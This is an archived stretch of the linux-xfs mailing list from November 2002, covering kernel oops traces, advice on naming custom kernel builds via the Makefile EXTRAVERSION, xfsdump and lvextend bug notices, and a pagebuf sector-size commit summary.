handler! -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Tue Nov 19 04:35:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 04:35:24 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJCZJuR013570 for ; Tue, 19 Nov 2002 04:35:19 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAJAbMG8013037 for ; Tue, 19 Nov 2002 02:37:22 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id GAA29167; Tue, 19 Nov 2002 06:37:18 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-25.corp.sgi.com [134.15.64.25]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id GAA48209; Tue, 19 Nov 2002 06:37:16 -0600 (CST) Subject: Re: Two Stack Traces - request for help. From: Stephen Lord To: Austin Gonyou Cc: XFS List In-Reply-To: <1037683761.2902.19.camel@UberGeek> References: <1037683761.2902.19.camel@UberGeek> Content-Type: text/plain Message-Id: <1037709124.1282.5.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 19 Nov 2002 06:32:04 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 1801 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Mon, 2002-11-18 at 23:29, Austin Gonyou wrote: > I got this output from ksymoops on a 2.4.19-aa1 kernel. Does anyone know > if this stack looks corrupt? Looking at each compared to each other, I > believe so, but I just wanted some confirmation of this. Your urgent > help is most appreciated. > > The recent output is taken from a production box that won't stay up for > more than 7 days at a time. The older output, is from an identical box, > running the same kernel, under different circumstances Austin, the xfs code in this kernel is so old it is scary. I know you are sticking with aa kernels for other reasons, but we really cannot help with stuff this old. The iodone code is no longer in interrupt context in xfs, and the cvs tree has changes in this area which fix a long standing crash which happened in exactly that function. Having said that the cvs code is about to get another revamp in this area for performance reasons with that fix. Steve > TIA. > > > > > ksymoops 2.4.1 on i686 2.4.19. Options used > -V (specified) > -k /proc/ksyms (specified) > -l /proc/modules (default) > -o /lib/modules/2.4.19/ (default) > -m /boot/System.map-2.4.19 (default) > > Oops: 0000 2.4.19 #1 SMP Wed Oct 16 17:02:35 CDT 2002 > CPU: 0 > EIP: 0010:[] Not tainted > Using defaults from ksymoops -t elf32-i386 -a i386 > EFLAGS: 00010007 > eax: c031e000 ebx: c034d8a8 ecx: 00000000 edx: ffffffd4 > esi: c034d880 edi: 00000080 ebp: c031ffc8 esp: c031ff98 > ds: 0018 es: 0018 ss: 0018 > Process swapper (pid: 0, stackpage=c031f000) > Stack: c034d880 00000019 c031e000 c031e000 ffffffd4 0008e000 00000000 > c0100018 > c0100018 c031e000 c0106e60 c0105000 0008e000 c0106ee9 0002080e > 00098700 > c03207a5 c031e000 00000000 c02a6da0 00200000 00200000 00200000 > 00038000 > Call Trace: [] [] [] > Code: 8b 72 58 8b 40 5c 85 f6 89 45 d4 75 35 89 42 5c f0 ff 40 14 > > >>EIP; c01164ee <===== > Trace; c0106e60 > Trace; c0105000 <_stext+0/0> > Trace; c0106ee9 > Code; c01164ee > 00000000 <_EIP>: > Code; c01164ee <===== > 0: 8b 72 58 mov 0x58(%edx),%esi <===== > Code; c01164f1 > 3: 8b 40 5c mov 0x5c(%eax),%eax > Code; c01164f4 > 6: 85 f6 test %esi,%esi > Code; c01164f6 > 8: 89 45 d4 mov %eax,0xffffffd4(%ebp) > Code; c01164f9 > b: 75 35 jne 42 <_EIP+0x42> c0116530 > > Code; c01164fb > d: 89 42 5c mov %eax,0x5c(%edx) > Code; c01164fe > 10: f0 ff 40 14 lock incl 0x14(%eax) > > <0> Kernel panic: Attempted to kill the idle task! > > > > > > > ksymoops 2.4.1 on i686 2.4.19. Options used > -V (specified) > -k /proc/ksyms (specified) > -l /proc/modules (default) > -o /lib/modules/2.4.19/ (default) > -m /boot/System.map-2.4.19 (default) > > Oops: 0000 2.4.19 #1 SMP Mon Oct 7 11:01:05 CDT 2002 > CPU: 2 > EIP: 0010:[] Tainted: P > Using defaults from ksymoops -t elf32-i386 -a i386 > EFLAGS: 00010202 > eax: d6f37b7c ebx: 00000001 ecx: 00000000 edx: e5c5f280 > esi: d6f37b7c edi: e5c5f280 ebp: c93b2400 esp: c706fcb0 > ds: 0018 es: 0018 ss: 0018 > Process swapper (pid: 0, stackpage=c706f000) > Stack: c01a6c7b e5c5f280 c93b2400 d6f37b7c 00000202 c93b2400 d6f37b7c > 00001636 > 00004ca8 c93b2400 d6f37b7c 00001636 00004ca8 c01d2f74 d6f37b7c > 00000286 > 00000286 0000000a c93b2400 d041ceb8 00001636 00004ca8 00000000 > 00000000 > Call Trace: [] [] [] [] > [] > [] [] [] [] [] > [] > [] [] [] [] [] > [] > [] [] [] [] [] > [] > [] [] [] [] > Code: 8b 41 20 89 42 44 85 c0 75 e0 8b 42 34 85 c0 74 07 c7 42 34 > > >>EIP; c01a71b7 <===== > Trace; c01a6c7b > Trace; c01d2f74 > Trace; c01d2d00 > Trace; c01c798e > Trace; d9848583 > Trace; c01c7acb > Trace; c01c6804 > Trace; c01dfc38 > Trace; c01e0013 <_end_pagebuf_page_io_multi+d3/110> > Trace; c023ad55 > Trace; c023ae87 > Trace; c023b232 > Trace; d984db87 > Trace; c024574f > Trace; d9854d63 > Trace; c0234629 > Trace; c0234350 > Trace; c011ef8b > Trace; c011ee31 > Trace; c011ebbb > Trace; c010a97e > Trace; c0106e60 > Trace; c010d248 > Trace; c0106e60 > Trace; c0106e89 > Trace; c0106ee4 > Trace; c011a589 > Code; c01a71b7 > 00000000 <_EIP>: > Code; c01a71b7 <===== > 0: 8b 41 20 mov 0x20(%ecx),%eax <===== > Code; c01a71ba > 3: 89 42 44 mov %eax,0x44(%edx) > Code; c01a71bd > 6: 85 c0 test %eax,%eax > Code; c01a71bf > 8: 75 e0 jne ffffffea <_EIP+0xffffffea> > c01a71a1 > Code; c01a71c1 > a: 8b 42 34 mov 0x34(%edx),%eax > Code; c01a71c4 > d: 85 c0 test %eax,%eax > Code; c01a71c6 > f: 74 07 je 18 <_EIP+0x18> c01a71cf > > Code; c01a71c8 > 11: c7 42 34 00 00 00 00 movl $0x0,0x34(%edx) > > <0>Kernel panic: Aiee, killing interupt handler! > -- Stephen Lord From owner-linux-xfs@oss.sgi.com Tue Nov 19 10:52:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 10:52:39 -0800 (PST) Received: from imf07bis.bellsouth.net (mail307.mail.bellsouth.net [205.152.58.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJIqWuR020851 for ; Tue, 19 Nov 2002 10:52:32 -0800 Received: from TAZ2 ([67.35.80.252]) by imf07bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021119185620.VQCZ17861.imf07bis.bellsouth.net@TAZ2> for ; Tue, 19 Nov 2002 13:56:20 -0500 Date: Tue, 19 Nov 2002 13:56:10 -0500 From: Greg Freemyer Subject: Kernel naming conventions To: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021119185620.VQCZ17861.imf07bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAJIqXuR020854 X-archive-position: 1802 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs I have 2 kernels that I am using on a test server. One is CVS from Sept. 6, the other is a recent kernel. The older one is /boot/vmlinuz-2.4.19-xfs2 and has associated map file System.map-2.4.19-xfs2. The recent cvs kernel I inadvertently named /boot/vmlinuz-2.4.19-xfs and has associated map file System.map-2.4.19-xfs. I know the new one is actually 2.4.20-rc1, but I was not too worried about the above misnaming. I have been running the older kernel (xfs2) for the last few days. At 1:15am every night I initiate a snapshot and mount it for backing up. Last night my test server locked up and in the warn log I have: Nov 19 01:15:00 TruStore1000 kernel: XFS mounting filesystem sd(8,17) Nov 19 01:15:00 TruStore1000 kernel: Symbol table has incorrect version number. Nov 19 01:15:00 TruStore1000 kernel: Cannot find map file. Nov 19 01:15:39 TruStore1000 kernel: XFS mounting filesystem lvm(58,3) I don't know if the above had anything to do with the lockup, but I'm concerned about why my xfs2 kernel was apparently using the symbol table for my xfs kernel. Also important, when I get a lockup I normally end up in kdb automatically. This time I did not, and I could not figure out to bring it up. Thanks Greg ======= Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Nov 19 12:44:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 12:44:48 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJKihuR022629 for ; Tue, 19 Nov 2002 12:44:43 -0800 Received: (qmail 26689 invoked by uid 1010); 19 Nov 2002 20:48:22 -0000 Date: Tue, 19 Nov 2002 15:48:22 -0500 From: George Georgalis To: Greg Freemyer Cc: xfs mailing list Subject: Re: Kernel naming conventions Message-ID: <20021119204822.GC23678@trot.local> References: <20021119185620.VQCZ17861.imf07bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021119185620.VQCZ17861.imf07bis.bellsouth.net@TAZ2> User-Agent: Mutt/1.3.28i X-archive-position: 1803 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Tue, Nov 19, 2002 at 01:56:10PM -0500, Greg Freemyer wrote: > >I have 2 kernels that I am using on a test server. > >One is CVS from Sept. 6, the other is a recent kernel. > >The older one is /boot/vmlinuz-2.4.19-xfs2 and has associated map file System.map-2.4.19-xfs2. > >The recent cvs kernel I inadvertently named /boot/vmlinuz-2.4.19-xfs and has associated map file System.map-2.4.19-xfs. > >I know the new one is actually 2.4.20-rc1, but I was not too worried about the above misnaming. > >I have been running the older kernel (xfs2) for the last few days. > >At 1:15am every night I initiate a snapshot and mount it for backing up. > >Last night my test server locked up and in the warn log I have: > >Nov 19 01:15:00 TruStore1000 kernel: XFS mounting filesystem sd(8,17) >Nov 19 01:15:00 TruStore1000 kernel: Symbol table has incorrect version number. Nov 19 01:15:00 TruStore1000 kernel: Cannot find map file. >Nov 19 01:15:39 TruStore1000 kernel: XFS mounting filesystem lvm(58,3) > > >I don't know if the above had anything to do with the lockup, but I'm concerned about why my xfs2 kernel was apparently using the symbol table for my xfs kernel. > >Also important, when I get a lockup I normally end up in kdb automatically. This time I did not, and I could not figure out to bring it up. It's hard to debug when things aren't named correctly. ;) here's how I would compile multiple instances of the same kernel. Extract the kernel source in /usr/src patch it and move /usr/src/linux to /usr/src/linux-2.4.18-xfs-1.1, if I recall correctly the patch updates ./include/linux/version.h the process yields thus: cat /usr/src/linux-2.4.18-xfs-1.1/include/linux/version.h | grep UTS #define UTS_RELEASE "2.4.18-xfs-1.1" you could cp -rp /usr/src/linux-2.4.18-xfs-1.1 /usr/src/linux-2.4.18-xfs-1.1b and change /usr/src/linux-2.4.18-xfs-1.1b/include/linux/version.h accordingly... then configure (and load appropriate .config) and make/install everything.... not sure how to help with the cvs version. // George -- GEORGE GEORGALIS, System Admin/Architect cell: 347-451-8229 Security Services, Web, Mail, mailto:george@galis.org File, Print, DB and DNS Servers. http://www.galis.org/george From owner-linux-xfs@oss.sgi.com Tue Nov 19 13:03:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 13:03:47 -0800 (PST) Received: from imf23bis.bellsouth.net (mail225.mail.bellsouth.net [205.152.58.195]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAJL3juR023290 for ; Tue, 19 Nov 2002 13:03:45 -0800 Received: from TAZ2 ([67.35.80.252]) by imf23bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021119210733.YGET14725.imf23bis.bellsouth.net@TAZ2>; Tue, 19 Nov 2002 16:07:33 -0500 Date: Tue, 19 Nov 2002 16:07:23 -0500 From: Greg Freemyer Subject: re[2]: Kernel naming conventions To: George Georgalis cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021119210733.YGET14725.imf23bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAJL3juR023291 X-archive-position: 1804 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> cat /usr/src/linux-2.4.18-xfs-1.1/include/linux/version.h | grep UTS >> #define UTS_RELEASE "2.4.18-xfs-1.1" >> // George So the name of the System.map file is derived from the above define and I am not free to simply rename the kernal and System.map file like I did. That may explain my recent issues. Thanks, Greg ======== Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Nov 19 17:13:59 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 17:14:09 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK1DwuR025803 for ; Tue, 19 Nov 2002 17:13:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK1Dwj2025801 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 17:13:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK1DsuV025773 for ; Tue, 19 Nov 2002 17:13:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK12d3D025689; Tue, 19 Nov 2002 17:02:39 -0800 Date: Tue, 19 Nov 2002 17:02:39 -0800 Message-Id: <200211200102.gAK12d3D025689@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 180] xfsdump is wrong with -e and files created since last dump X-Bugzilla-Reason: AssignedTo X-archive-position: 1806 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=180 ------- Additional Comments From alkirkco@sgi.com 2002-11-19 17:02 ------- Hi Pedro, I have finally had a chance to experiment with xfsdump -e and was able to reproduce the problems you described. Unfortunately, we're in the middle of relocating to a new campus for the next 2 weeks. I should be able to pick up with this bug once our systems are back online (beginning of December). Thanks, Mandy ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 19 17:13:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 17:14:04 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK1DwuR025802 for ; Tue, 19 Nov 2002 17:13:58 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK1DwKt025800 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 17:13:58 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK1DsuX025773 for ; Tue, 19 Nov 2002 17:13:56 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK0nDB1025509; Tue, 19 Nov 2002 16:49:13 -0800 Date: Tue, 19 Nov 2002 16:49:13 -0800 Message-Id: <200211200049.gAK0nDB1025509@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 188] xfsdump dumps unnecessary files/inodes when doing incremental dumps X-Bugzilla-Reason: AssignedTo X-archive-position: 1805 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=188 alkirkco@sgi.com changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |ASSIGNED ------- Additional Comments From alkirkco@sgi.com 2002-11-19 16:49 ------- Hi Chris, I remember discussing this issue with you a while back. After you mentioned this behavior, I opened an internal bug report to track it (868496). This behavior occurs on both IRIX and Linux. I'll take a look as soon as I have a chance. Mandy ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 19 21:43:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 21:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK5huuR029944 for ; Tue, 19 Nov 2002 21:43:56 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK5humt029943 for linux-xfs@oss.sgi.com; Tue, 19 Nov 2002 21:43:56 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAK5htuT029929 for ; Tue, 19 Nov 2002 21:43:55 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAK5fBJG029920; Tue, 19 Nov 2002 21:41:11 -0800 Date: Tue, 19 Nov 2002 21:41:11 -0800 Message-Id: <200211200541.gAK5fBJG029920@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 196] 2.4.18 oops after lvextend X-Bugzilla-Reason: AssignedTo X-archive-position: 1807 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=196 ------- Additional Comments From dm@belkam.com 2002-11-19 21:41 ------- The same oops again. It happened on SMP kernel. I copied files with mc to logic volume, mc said that there is no free space, I extended volume and fs from another console. Here is oops: symoops 2.4.4 on i686 2.4.18-xfs. Options used -V (default) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.18-xfs/ (default) -m /boot/System.map-2.4.18-xfs (default) Warning: You did not tell me where to find symbol information. I will assume that the log matches the kernel and modules that are running right now and I'll use the default options above for symbol resolution. If the current kernel and/or modules do not match the log, you can get more accurate output by telling me the kernel version and where to find map, modules, ksyms etc. ksymoops -h explains the options. Warning (compare_maps): mismatch on symbol partition_name , ksyms_base says c024f330 , System.map says c0160500. Ignoring ksyms_base entry Unable to handle kernel NULL pointer dereference at virtual address 00000008 c018ca4e *pde = 00000000 Oops: 0000 CPU: 1 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010046 eax: 00000120 ebx: 00000000 ecx: 00000282 edx: 00000000 esi: f6762000 edi: 00000008 ebp: f5b51800 esp: f7bd19a4 ds: 0018 es: 0018 ss: 0018 Process kupdated (pid: 7, stackpage=f7bd1000) Stack: 00000282 00000004 e3b25200 f66bb490 f5ae1580 c018c30d f66bb490 00000008 00000004 00000001 f5ae1180 f5ae1580 00000004 f66bb490 c018c081 f66bb490 f5ae1180 f5ae1580 00000004 f6570280 00000000 00000001 000019e0 f6762120 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 4a 08 85 c9 74 1b 8d 74 26 00 8d bc 27 00 00 00 00 43 83 >>EIP; c018ca4e <===== Trace; c018c30d Trace; c018c081 Trace; c018c3a2 Trace; c018c859 Trace; c019a554 Trace; c0237233 Trace; c023c2df Trace; c01a4655 Trace; c01a4655 Trace; c019df46 Trace; c01f9b96 Trace; c01e820b Trace; c01df371 Trace; c0134271 <__alloc_pages+41/180> Trace; c0138f20 Trace; c01e6819 Trace; c01e2ce7 Trace; c01c23d2 Trace; c01e1c48 Trace; c01e67c0 Trace; c01e69fd Trace; c01e67c0 Trace; c013becf <_write_buffer+4f/70> Trace; c013c0bf Trace; c013f6fe Trace; c013fa2d Trace; c0105000 <_stext+0/0> Trace; c0105836 Trace; c013f8f0 Code; c018ca4e 00000000 <_EIP>: aods+46/50> Trace; c01e820b Trace; c01df371 Trace; c0134271 <__alloc_pages+41/180> Trace; c0138f20 ; c018ca4e <===== 5: 74 1b je 22 <_EIP+0x22> c018ca70 Code; c018ca55 7: 8d 74 26 00 lea 0x0(%esi,1),%esi Code; c018ca59 b: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi Code; c018ca60 12: 43 inc %ebx Code; c018ca61 13: 83 00 00 addl $0x0,(%eax) 0: 8b 4a 08 mov 0x8(%edx),%ecx <===== Code; c018ca51 3: 85 c9 test %ecx,%ecx Code; c018ca53 ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 19 22:29:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 19 Nov 2002 22:29:44 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAK6TbuR030586 for ; Tue, 19 Nov 2002 22:29:38 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAK6Zkkq005035 for ; Wed, 20 Nov 2002 00:35:47 -0600 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id RAA73945 for linux-xfs@oss.sgi.com; Wed, 20 Nov 2002 17:30:20 +1100 (EST) Date: Wed, 20 Nov 2002 17:30:20 +1100 (EST) From: Nathan Scott Message-Id: <200211200630.RAA73945@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - [2.5] merge pagebuf sector mod X-archive-position: 1808 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs pagebuf can now take a configurable sector size (512 -> 32K). Needed some tweaking to work with bios instead of buffer_heads from the 2.4 version. Also removed a couple of pagebuf asserts which were no longer correct even before this mod came along. cheers. Date: Tue Nov 19 22:22:15 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.5.x-xfs Author: nathans Merged by: nathans Merged mods: 2.4.x-xfs:slinx:132942a The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132942a linux/fs/xfs/xfs_sb.h - 1.54 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Add macros for doing sector to BB conversions, FSB to sector conversions, etc. Add placeholder fields for log sector size - we don't use them yet. linux/fs/xfs/xfs_vfsops.c - 1.395 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Set the device sector size based on the (existing) superblock field value (currently this is always 512), rather than hardcoding the value to 512. linux/fs/xfs/xfs_mount.h - 1.162 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Squeeze in an 8byte sectbb field (no change to xfs_mount_t size), similar semantics to blkbb log field (except for sector size, not block size). linux/fs/xfs/xfs_mount.c - 1.314 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Read a sector from the end of the device when checking log/data device sizes. Currently only 512 byte sectors exist, so no change here. Move mount type initialisation earlier on in the piece. Add a placeholder field for log sector size - we don't use it yet though (will need mkfs changes - a fair way down the track still though). linux/fs/xfs/xfs_alloc_btree.h - 1.22 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Add some macros relating to sector sizes, update some comments. linux/fs/xfs/linux/xfs_super.h - 1.34 linux/fs/xfs/linux/xfs_super.c - 1.245 - Merge of 2.4.x-xfs:slinx:132942a by nathans. When initialising a new pagebuf target, allow a sector size to be passed in. linux/fs/xfs/pagebuf/page_buf.c - 1.77 linux/fs/xfs/pagebuf/page_buf.h - 1.50 - Merge of 2.4.x-xfs:slinx:132942a by nathans. Remove the hardcoded sector size of 512 bytes, make it configurable. From owner-linux-xfs@oss.sgi.com Wed Nov 20 06:41:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 20 Nov 2002 06:41:07 -0800 (PST) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAKEf3uR007756 for ; Wed, 20 Nov 2002 06:41:03 -0800 Received: from user-11fa2dp.dsl.mindspring.com ([66.245.9.185] helo=[192.168.2.13]) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 18EW45-0005K1-00; Wed, 20 Nov 2002 06:42:53 -0800 Subject: Re: Kernel naming conventions From: John M Trostel To: George Georgalis Cc: Greg Freemyer , Linux XFS Mailing List In-Reply-To: <20021119204822.GC23678@trot.local> References: <20021119185620.VQCZ17861.imf07bis.bellsouth.net@TAZ2> <20021119204822.GC23678@trot.local> Content-Type: text/plain Organization: Message-Id: <1037803490.1038.7.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 20 Nov 2002 09:44:50 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 1809 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jtrostel@mindspring.com Precedence: bulk X-list: linux-xfs I take pulls from CVS and modify them to differentiate between daily or more frequent sources pretty simplely. 1. update my CVS pull, which lives in ../linux-2.4-xfs: $ cvs -z3 update -d -P 2. copy this source to a new directory $ cp -a linux-2.4-xfs linux-2.4.20-1118-xfs 3. in the ../linux-2.4.20-1118-xfs/linux directory, modify 'Makefile' to produce the correct version string! VERSION = 2 PATCHLEVEL = 4 SUBLEVEL = 20 EXTRAVERSION = -1118-xfs KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION) 4. do your makes, configs, etc. as normal 5. I then need to rename System.map to and appropraite extention, but ../include/linux/version.h is appropriately modified already, and modules automagically are installed properly, etc. -- John M Trostel From owner-linux-xfs@oss.sgi.com Wed Nov 20 07:48:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 20 Nov 2002 07:48:57 -0800 (PST) Received: from dynamic.galis.org (ool-4350143e.dyn.optonline.net [67.80.20.62]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAKFmsuR011114 for ; Wed, 20 Nov 2002 07:48:55 -0800 Received: (qmail 3752 invoked by uid 1010); 20 Nov 2002 15:52:41 -0000 Date: Wed, 20 Nov 2002 10:52:41 -0500 From: George Georgalis To: John M Trostel Cc: Greg Freemyer , Linux XFS Mailing List , torvalds@transmeta.com Subject: Re: Kernel naming conventions Message-ID: <20021120155241.GB2517@trot.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1037803490.1038.7.camel@localhost.localdomain> User-Agent: Mutt/1.3.28i X-archive-position: 1810 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: georgw@galis.org Precedence: bulk X-list: linux-xfs On Wed, Nov 20, 2002 at 09:44:50AM -0500, John M Trostel wrote: >3. in the ../linux-2.4.20-1118-xfs/linux directory, modify 'Makefile' to >produce the correct version string! > > VERSION = 2 > PATCHLEVEL = 4 > SUBLEVEL = 20 > EXTRAVERSION = -1118-xfs > > KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION) > >4. do your makes, configs, etc. as normal > >5. I then need to rename System.map to and appropraite extention, but >../include/linux/version.h is appropriately modified already, and >modules automagically are installed properly, etc. YES, nothing like a little peer review to set the record straight! linux/include/linux/version.h is NOT the file to modify... I hadn't done that in a while and thought I found the right file after jogging my memory with a less than adequate recursive grep... sorry, // George the linux/README file IMHO should outline this here (as well as move the paragraph up closer to the top of the README file): - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". -- GEORGE GEORGALIS, System 